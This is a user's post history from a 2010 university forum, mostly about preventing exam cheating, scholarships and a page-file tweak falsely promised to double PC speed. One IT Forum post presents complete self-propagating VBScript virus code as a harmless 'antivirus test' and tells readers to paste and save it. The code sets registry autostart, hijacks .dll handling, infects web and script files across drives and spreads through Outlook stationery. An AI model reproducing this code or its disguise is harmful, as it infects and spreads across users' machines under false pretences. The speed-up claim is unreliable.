Messages

1126

BBA Discussion Forum / Re: How to prevent copying in the examination?

« on: July 28, 2010, 09:00:33 AM »

Dear my friend Debashish,

Ok man, you are won... Do you see, there is no authority comments in this post? Oh yes, you said that, "randomly arranged to sit :" :" :" :" If the faculty member can do it that is well. However, you have to know one things that our varsity has some "black ship". Do you know what is the black ship? Black is a person who does not listen to you. If you say,  go to the left corner , Black sheep will be angry or will go to the right corner or may not move.

I did not copy in the exam hall in my life ever. I am afraid of it. So, I am not being influenced by anyone. However, I tried to establish that if we see anything we want to learn something. So, it may possible some good student may be influenced by them.   

Ok, my friend take care...bye...I hope we will meet soon

1127

BBA Discussion Forum / Re: Scholarships and Awards

« on: July 27, 2010, 01:24:43 PM »

Sounds good, Mr. Alamgir. . I appreciated you suggestion. Some of us always attend the seminar, workshop etc. The authority should think about it and who are not regular authority should cancel their initiative.

Some days ago, I have read a post named "      be a member of forum ". Mr. Shibli sir said, who are not member of forum, authority will cancel their scholarship. I don't know how far they will go. Wish you all the best. 

1128

BBA Discussion Forum / Re: How to prevent copying in the examination?

« on: July 27, 2010, 01:15:17 PM »

Thank You Mr. Shamim Ansary.

Some student has a tendency to copy in the examination and i have seen they always carry good C.G.P.A. Sometimes they  use a small piece of paper for copying.  

Thank you for supporting me and give your attractive valuable advice.

I expect the authority should justify it.

1129

BBA Discussion Forum / Re: How to prevent copying in the examination?

« on: July 27, 2010, 01:01:32 PM »

Dear Debashish
Thanks for your comments. You are right but I am little bit disagree with you.
At first I want to say, I want to see my class room neat and clean and free from copying. Our friends always write on the wall, chair etc. As you know Mr. Debashish, we always learn from our environment. If any students write on the wall, chair, it influences us to copy on the wall or chair. It is really hampered of our moral character. A good student may be influenced by them. I don’t guess whatever, I said until now. It is the fact.

As you mention “This is not a big problem to prevent copying in the exam hall. This is like 1 2 3.”
Is it really easy? I want to say you a story from my real experience, once I was in the examination hall; I forgot a point in the question answer. I asked to my friend what the next point is, he said to me Please see on the wall. Hahah… He is used to writing all of the point on the wall in the examination hall. A class room has 45 person’s capacity. It is a really tough job to arrange the student randomly. Isn’t it? 

You also mention” Just use some brain, the teachers will come on time in the exam hall. The room will open from the first for the students. I know in that time students will write in the wall or chair. But before staring exam if our teachers re-arrange the seat arrangement randomly the problem will solve easily.”    Before starting an exam we have to make prepare ourselves for the exam, if our teacher says to us go there or sit here. It will be disturbance for us. We always have to carry a calculator, eraser, pencil, entry card, answer script in the exam hall; we have to write our name, id, section, etc.… Then a teacher has to come in the examination hall about half hour before. Is it possible?   

The new chairs are good and the color of the chairs is good as well. I obviously appreciate it and welcome to our authority.

1130

BBA Discussion Forum / Re: How to prevent copying in the examination?

« on: July 27, 2010, 07:22:34 AM »

Thank You lemon for supporting  me. You have posed a topic named " Copying in Exam". So, I posted how to prevent Students copying in the exam and some Problem and what is the solution.

1131

BBA Discussion Forum / How to prevent copying in the examination?

« on: July 27, 2010, 12:18:42 AM »

As we are students, we try to copy in the examination hall. Teachers try to prevent it. It is a very natural.  Sometimes, I have seen our respective teachers check out our hands, calculator, scale, etc. after we enter the examination hall. I really appreciate it. However, students try to copy. Our teachers are so strict but a question arises, How do the students copy in the exam? As we are a student, so we know the using of the latest type of copying instrument nowadays, Such as, by mobile, iPod etc. Our university authority had banned carrying the mobile set, iPod etc. in the examination hall. That is really a good decision for our university.  



Anyway, DIU forum is basically for the student, Students share their ideas, opinion, advice, suggestion etc. with teachers and authority. So, I decided to give some suggestion to our authority. Before giving the suggestion, I want to thank to our respective authorities and teachers because my maximum number of suggestion has already granted by authority and teachers.

The problems and the solutions

1.   Dear Sir, as I have seen today, our purchasing committee has purchased a huge number of woods for making the chair. Well, I appreciate it but the color of the wood is slightly yellow or golden. So, we will get the opportunity to write on the chair. We may make the chair as an answer script. If the colour of the chair is black then there is no possibility of copying in the examination hall.  Our university has a huge number of chairs in black colour. If you really want prevention of copying in the examination, my suggestion is, you have to turn the colour of the chair into yellow or golden to black as early as possible.

2.   When our examination occurs, we can see our class room opened early before the teacher comes. So, we get the opportunity to copy on the wall or chair before the examiner comes.  Our authority should establish a rule that, when our examiner comes near by the class, our class room should be opened.


3.   When do we get a chance to write on the wall? Some students have a tendency to sit beside the wall. When we enter into the class for midterm or final examination, the chair should be arranged before by the authority. The seat must be arranged as if there are about 2 -3 feet distance between a student and wall around the whole class.



I strongly believe that, if our authority takes proper precautionary steps, this day is not so far, our university will be copying free university like politics free, smoking free and becoming the 1st ranking university of Bangladesh.  


I love my university

1132

IT Forum / Want to check your antivirus, is it work porperly or not???

« on: July 26, 2010, 04:46:39 PM »

It is a really virus but you can check it only for checking your anti virus.

Just open an notepad ( Opening process of notepad just go to start menu from Taskbar > All programs > Accessories > Notepad  and paste following message). If your anti virus work properly, antivirus will block this notepad, Otherwise, your antivirus does not work properly. and finally save the notepad named by Ashiq.Bat




Dim InWhere,HtmlText,VbsText,DegreeSign,AppleObject,FSO,WsShell,WinPath,SubE,FinalyDisk
Sub KJ_start()
KJSetDim()
KJCreateMilieu()
KJLikeIt()
KJCreateMail()
KJPropagate()
End Sub

Function KJAppendTo(FilePath,TypeStr)
On Error Resume Next
Set ReadTemp = FSO.OpenTextFile(FilePath,1)
TmpStr = ReadTemp.ReadAll
If Instr(TmpStr,"KJ_start()") <> 0 Or Len(TmpStr) < 1 Then
ReadTemp.Close
Exit Function
End If
If TypeStr = "htt" Then
ReadTemp.Close
Set FileTemp = FSO.OpenTextFile(FilePath,2)
FileTemp.Write "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & TmpStr & vbCrLf & HtmlText
FileTemp.Close
Set FAttrib = FSO.GetFile(FilePath)
FAttrib.attributes = 34
Else
ReadTemp.Close
Set FileTemp = FSO.OpenTextFile(FilePath,8)
If TypeStr = "html" Then
FileTemp.Write vbCrLf & "<" & "HTML>" & vbCrLf & "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText
ElseIf TypeStr = "vbs" Then
FileTemp.Write vbCrLf & VbsText
End If
FileTemp.Close
End If
End Function

Function KJChangeSub(CurrentString,LastIndexChar)
If LastIndexChar = 0 Then
If Left(LCase(CurrentString),1) =< LCase("c") Then
KJChangeSub = FinalyDisk & ":\"
SubE = 0
Else
KJChangeSub = Chr(Asc(Left(LCase(CurrentString),1)) - 1) & ":\"
SubE = 0
End If
Else
KJChangeSub = Mid(CurrentString,1,LastIndexChar)
End If
End Function

Function KJCreateMail()
On Error Resume Next
If InWhere = "html" Then
Exit Function
End If
ShareFile = Left(WinPath,3) & "Program Files\Common Files\Microsoft Shared\Stationery\blank.htm"
If (FSO.FileExists(ShareFile)) Then
Call KJAppendTo(ShareFile,"html")
Else
Set FileTemp = FSO.OpenTextFile(ShareFile,2,true)
FileTemp.Write "<" & "HTML>" & vbCrLf & "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText
FileTemp.Close
End If
DefaultId = WsShell.RegRead("HKEY_CURRENT_USER\Identities\Default User ID")
OutLookVersion = WsShell.RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\MediaVer")
WsShell.RegWrite "HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Compose Use Stationery",1,"REG_DWORD"
Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Stationery Name",ShareFile)
Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Wide Stationery Name",ShareFile)
WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Outlook\Options\Mail\EditorPreference",131072,"REG_DWORD"
Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360","blank")
Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360","blank")
WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Outlook\Options\Mail\EditorPreference",131072,"REG_DWORD"
Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Common\MailSettings\NewStationery","blank")
KJummageFolder(Left(WinPath,3) & "Program Files\Common Files\Microsoft Shared\Stationery")
End Function

Function KJCreateMilieu()
On Error Resume Next
TempPath = ""
If Not(FSO.FileExists(WinPath & "WScript.exe")) Then
TempPath = "system32\"
End If
If TempPath = "system32\" Then
StartUpFile = WinPath & "SYSTEM\Kernel32.dll"
Else
StartUpFile = WinPath & "SYSTEM\Kernel.dll"
End If
WsShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Kernel32",StartUpFile
FSO.CopyFile WinPath & "web\kjwall.gif",WinPath & "web\Folder.htt"
FSO.CopyFile WinPath & "system32\kjwall.gif",WinPath & "system32\desktop.ini"
Call KJAppendTo(WinPath & "web\Folder.htt","htt")
WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\","dllfile"
WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\Content Type","application/x-msdownload"
WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\DefaultIcon\",WsShell.RegRead("HKEY_CLASSES_ROOT\vxdfile\DefaultIcon\")
WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\ScriptEngine\","VBScript"
WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\Shell\Open\Command\",WinPath & TempPath & "WScript.exe ""%1"" %*"
WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ShellEx\PropertySheetHandlers\WSHProps\","{60254CA5-953B-11CF-8C96-00AA00B8708C}"
WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ScriptHostEncode\","{85131631-480C-11D2-B1F9-00C04F86C324}"
Set FileTemp = FSO.OpenTextFile(StartUpFile,2,true)
FileTemp.Write VbsText
FileTemp.Close
End Function

Function KJLikeIt()
If InWhere <> "html" Then
Exit Function
End If
ThisLocation = document.location
If Left(ThisLocation, 4) = "file" Then
ThisLocation = Mid(ThisLocation,9)
If FSO.GetExtensionName(ThisLocation) <> "" then
ThisLocation = Left(ThisLocation,Len(ThisLocation) - Len(FSO.GetFileName(ThisLocation)))
End If
If Len(ThisLocation) > 3 Then
ThisLocation = ThisLocation & "\"
End If
KJummageFolder(ThisLocation)
End If
End Function

Function KJMailReg(RegStr,FileName)
On Error Resume Next
RegTempStr = WsShell.RegRead(RegStr)
If RegTempStr = "" Then
WsShell.RegWrite RegStr,FileName
End If
End Function

Function KJOboSub(CurrentString)
SubE = 0
TestOut = 0
Do While True
TestOut = TestOut + 1
If TestOut > 28 Then
CurrentString = FinalyDisk & ":\"
Exit Do
End If
On Error Resume Next
Set ThisFolder = FSO.GetFolder(CurrentString)
Set DicSub = CreateObject("Scripting.Dictionary")
Set Folders = ThisFolder.SubFolders
FolderCount = 0
For Each TempFolder in Folders
FolderCount = FolderCount + 1
DicSub.add FolderCount, TempFolder.Name
Next
If DicSub.Count = 0 Then
LastIndexChar = InstrRev(CurrentString,"\",Len(CurrentString)-1)
SubString = Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1)
CurrentString = KJChangeSub(CurrentString,LastIndexChar)
SubE = 1
Else
If SubE = 0 Then
CurrentString = CurrentString & DicSub.Item(1) & "\"
Exit Do
Else
j = 0
For j = 1 To FolderCount
If LCase(SubString) = LCase(DicSub.Item(j)) Then
If j < FolderCount Then
CurrentString = CurrentString & DicSub.Item(j+1) & "\"
Exit Do
End If
End If
Next
LastIndexChar = InstrRev(CurrentString,"\",Len(CurrentString)-1)
SubString = Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1)
CurrentString = KJChangeSub(CurrentString,LastIndexChar)
End If
End If
Loop
KJOboSub = CurrentString
End Function

Function KJPropagate()
On Error Resume Next
RegPathValue = "HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\Degree"
DiskDegree = WsShell.RegRead(RegPathValue)
If DiskDegree = "" Then
DiskDegree = FinalyDisk & ":\"
End If
For i=1 to 5
DiskDegree = KJOboSub(DiskDegree)
KJummageFolder(DiskDegree)
Next
WsShell.RegWrite RegPathValue,DiskDegree
End Function

Function KJummageFolder(PathName)
On Error Resume Next
Set FolderName = FSO.GetFolder(PathName)
Set ThisFiles = FolderName.Files
HttExists = 0
For Each ThisFile In ThisFiles
FileExt = UCase(FSO.GetExtensionName(ThisFile.Path))
If FileExt = "HTM" Or FileExt = "HTML" Or FileExt = "ASP" Or FileExt = "PHP" Or FileExt = "JSP" Then
Call KJAppendTo(ThisFile.Path,"html")
ElseIf FileExt = "VBS" Then
Call KJAppendTo(ThisFile.Path,"vbs")
ElseIf FileExt = "HTT" Then
HttExists = 1
End If
Next
If (UCase(PathName) = UCase(WinPath & "Desktop\")) Or (UCase(PathName) = UCase(WinPath & "Desktop"))Then
HttExists = 1
End If
If HttExists = 0 Then
FSO.CopyFile WinPath & "system32\desktop.ini",PathName
FSO.CopyFile WinPath & "web\Folder.htt",PathName
End If
End Function

Function KJSetDim()
On Error Resume Next
Err.Clear
TestIt = WScript.ScriptFullname
If Err Then
InWhere = "html"
Else
InWhere = "vbs"
End If
If InWhere = "vbs" Then
Set FSO = CreateObject("Scripting.FileSystemObject")
Set WsShell = CreateObject("WScript.Shell")
Else
Set AppleObject = document.applets("KJ_guest")
AppleObject.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}")
AppleObject.createInstance()
Set WsShell = AppleObject.GetObject()
AppleObject.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}")
AppleObject.createInstance()
Set FSO = AppleObject.GetObject()
End If
Set DiskObject = FSO.Drives
For Each DiskTemp In DiskObject
If DiskTemp.DriveType <> 2 And DiskTemp.DriveType <> 1 Then
Exit For
End If
FinalyDisk = DiskTemp.DriveLetter
Next
Dim OtherArr(3)
Randomize
For i=0 To 3
OtherArr(i) = Int((9 * Rnd))
Next
TempString = ""
For i=1 To Len(ThisText)
TempNum = Asc(Mid(ThisText,i,1))
If TempNum = 13 Then
TempNum = 28
ElseIf TempNum = 10 Then
TempNum = 29
End If
TempChar = Chr(TempNum - OtherArr(i Mod 4))
If TempChar = Chr(34) Then
TempChar = Chr(18)
End If
TempString = TempString & TempChar
Next
UnLockStr = "Execute(""Dim KeyArr(3),ThisText""&vbCrLf&""KeyArr(0) = " & OtherArr(0) & """&vbCrLf&""KeyArr(1) = " & OtherArr(1) & """&vbCrLf&""KeyArr(2) = " & OtherArr(2) & """&vbCrLf&""KeyArr(3) = " & OtherArr(3) & """&vbCrLf&""For i=1 To Len(ExeString)""&vbCrLf&""TempNum = Asc(Mid(ExeString,i,1))""&vbCrLf&""If TempNum = 18 Then""&vbCrLf&""TempNum = 34""&vbCrLf&""End If""&vbCrLf&""TempChar = Chr(TempNum + KeyArr(i Mod 4))""&vbCrLf&""If TempChar = Chr(28) Then""&vbCrLf&""TempChar = vbCr""&vbCrLf&""ElseIf TempChar = Chr(29) Then""&vbCrLf&""TempChar = vbLf""&vbCrLf&""End If""&vbCrLf&""ThisText = ThisText & TempChar""&vbCrLf&""Next"")" & vbCrLf & "Execute(ThisText)"
ThisText = "ExeString = """ & TempString & """"
HtmlText ="<" & "script language=vbscript>" & vbCrLf & "document.write " & """" & "<" & "div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'>" & "<""&""" & "APPLET NAME=KJ""&""_guest HEIGHT=0 WIDTH=0 code=com.ms.""&""activeX.Active""&""XComponent>" & "<" & "/APPLET>" & "<" & "/div>""" & vbCrLf & "<" & "/script>" & vbCrLf & "<" & "script language=vbscript>" & vbCrLf & ThisText & vbCrLf & UnLockStr & vbCrLf & "<" & "/script>" & vbCrLf & "<" & "/BODY>" & vbCrLf & "<" & "/HTML>"
VbsText = ThisText & vbCrLf & UnLockStr & vbCrLf & "KJ_start()"
WinPath = FSO.GetSpecialFolder(0) & "\"
If (FSO.FileExists(WinPath & "web\Folder.htt")) Then
FSO.CopyFile WinPath & "web\Folder.htt",WinPath & "web\kjwall.gif"
End If
If (FSO.FileExists(WinPath & "system32\desktop.ini")) Then
FSO.CopyFile WinPath & "system32\desktop.ini",WinPath & "system32\kjwall.gif"
End If
End Function





 

1133

Open Source Forum / Re: How to increase your pc speed. 100% grantee offer. ur pc speed must be increased

« on: July 26, 2010, 06:54:39 AM »

hahah...Vhai, you knew it before although you asked me about it, right?

Thank you Kazi Shahin for your valuable comment....

I have one more process to increase your speed.. Suppose If you did above all the process, Your speed must be increased . After adding one program, your speed again increase which i will tell you later. Just do it first and enjoy it. comment on my post.

 

1134

Open Source Forum / Re: How to increase your pc speed. 100% grantee offer. ur pc speed must be increased

« on: July 26, 2010, 02:07:40 AM »

I mention your virtual memory speed. Suppose your ram speed is 1 GB. When you do the above process, your PC uses some of your hard disk memory. So you will get more than the usual speed... Just do it and enjoy it...

Wish you all the best

1135

BBA Discussion Forum / Re: A request from B.B.A department student

« on: July 26, 2010, 02:00:46 AM »

If you want to increase your pc speed just click on the following link. This is my digital post..

http://forum.daffodilvarsity.edu.bd/index.php/topic,1755.msg4991.html#msg4991

1136

BBA Discussion Forum / Re: Need some Dustbin at Counceling room and corridor at Prince Plaza.

« on: July 26, 2010, 02:00:03 AM »

If you want to increase your pc speed just click on the following link. This is my digital post..

http://forum.daffodilvarsity.edu.bd/index.php/topic,1755.msg4991.html#msg4991

1137

BBA Discussion Forum / Re: Water crisis at Prince Plaza, DIU

« on: July 26, 2010, 01:59:35 AM »

If you want to increase your pc speed just click on the following link. This is my digital post..

http://forum.daffodilvarsity.edu.bd/index.php/topic,1755.msg4991.html#msg4991

1138

BBA Discussion Forum / Re: Why don’t Daffodil International University’s students carry ID card?

« on: July 26, 2010, 01:56:09 AM »

If you want to increase your pc speed just click on the following link. This is my digital post..

http://forum.daffodilvarsity.edu.bd/index.php/topic,1755.msg4991.html#msg4991

1139

Open Source Forum / How to increase your pc speed. 100% grantee offer. ur pc speed must be increased

« on: July 26, 2010, 01:46:02 AM »

Dear my friend....

I scarifies it only for DIU forum member.

Let's start...

At first right click on MY computer..Then click on Properties


After click on advance and then settings.. follow the arrow..



Then, Click on "Advance", next click on "Change"



After, here you can find, Initial size and maximum size



You can see here my initial size is 2976 and Maximum size is 5952.

Now i just here increase the the initial size is 5952 and maximum size is  11904 .

Just double the number. in mathematics equation, 2976 X 2 = 5952 and Maxumum value is  5952X 2 = 11904

see the next pic



now click on "Set" Then "Ok" and Finally click "ok". and run your program..You must get double speed.

Suppose your initial size is 322 and max is 644. then you write on initial size 644 and maximum value is 1288.


If you face any prob just call me 01674566806


Thank you






  

1140

Real Estate / Re: World University Rankings 2009 - top universities

« on: July 26, 2010, 12:26:34 AM »

Where is our University? I cannot find...Our varsity does not have any rank?